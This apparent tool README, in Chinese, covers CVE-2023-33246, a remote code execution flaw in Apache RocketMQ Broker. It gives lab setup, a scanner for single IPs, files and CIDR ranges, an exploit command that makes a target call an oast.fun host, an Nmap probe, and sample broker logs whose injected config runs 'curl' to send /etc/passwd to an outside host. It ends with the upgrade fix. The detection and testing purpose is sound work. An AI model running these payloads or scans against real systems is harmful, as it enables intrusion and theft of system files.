CVE-2023-33246 RocketMQ RCE 按版本检测与利用

CVE-2023-33246 RocketMQ 远程代码执行漏洞利用
RocketMQ 是一个分布式消息传递和流媒体平台。
RocketMQ 5.1.0 及以下版本存在任意代码注入漏洞。Broker 组件暴露在外网且缺乏权限验证。攻击者可以通过使用更新配置功能,以运行 RocketMQ 的系统用户身份执行命令。此外,攻击者还可以通过伪造 RocketMQ 协议内容达到同样的效果。
docker pull apache/rocketmq:4.9.4
# 启动 nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
# 启动 Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
usage: check.py [-h] [--ip IP] [--file FILE] [--port PORT] [--cidr CIDR]
Check CVE-2023-33246 RocketMQ RCE vulnerability
optional arguments:
-h, --help show this help message and exit
--ip IP A single IP address to check
--file FILE A file containing a list of IP addresses, one per line
--port PORT The port number to use when connecting to the server (default
is 9876)
--cidr CIDR A CIDR range to scan (e.g. 1.2.3.0/24)
python3 check.py --ip 127.0.0.1 --port 9876
python3 check.py --cidr 192.168.1.0/24
# 或者
python3 check.py --file rocketmq_targets.txt --port 9876
# 文件中的目标格式:
# ip
# ip:port
# http://ip:port
⚠️ 注意:在生产环境中执行此脚本时请务必谨慎,因为所包含的 payload 能够修改 RocketMQ 的配置。
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl chw9ft72vtc00002z5k0ge6rz7eyyyyyb.oast.fun/test
请将以下内容追加到 Nmap 安装目录下的 nmap-service-probes 文件中。
##############################NEXT PROBE##############################
Probe TCP RocketMQ q|\x00\x00\x00\x64\x00\x00\x00\x60\x7b\x22\x63\x6f\x64\x65\x22\x3a\x32\x38\x2c\x22\x66\x6c\x61\x67\x22\x3a\x30\x2c\x22\x6c\x61\x6e\x67\x75\x61\x67\x65\x22\x3a\x22\x4a\x41\x56\x41\x22\x2c\x22\x6f\x70\x61\x71\x75\x65\x22\x3a\x30\x2c\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65\x54\x79\x70\x65\x43\x75\x72\x72\x65\x6e\x74\x52\x50\x43\x22\x3a\x22\x4a\x53\x4f\x4e\x22\x2c\x22\x76\x65\x72\x73\x69\x6f\x6e\x22\x3a\x34\x33\x33\x7d|
ports 10911,11911,12911,13911
rarity 8
match RocketMQBroker m|"brokerVersionDesc":\s*"([^"]*)"| p/RocketMQ Broker/ v/$1/ cpe:/a:apache:rocketmq/

如果你的 RocketMQ Broker 已被攻陷,你可以通过观察 broker 日志中的特定模式来识别这种情况,broker 日志将类似如下:
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - updateBrokerConfig called by 172.17.0.1:56412
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - updateBrokerConfig, new config: [{filterServerNums=1, rocketmqHome=-c $@|sh . echo curl chxd6qa2vtc00007dfn0ge6sumayyyyyb.oast.fun --data @/etc/passwd;}] client: /172.17.0.1:56412
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - Replace, key: filterServerNums, value: 0 -> 1
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - Replace, key: rocketmqHome, value: /home/rocketmq/rocketmq-4.9.4 -> -c $@|sh . echo curl chxd6qa2vtc00007dfn0ge6sumayyyyyb.oast.fun --data @/etc/passwd;
升级 org.apache.rocketmq:rocketmq-broker 至 4.9.6、5.1.1 或更高版本。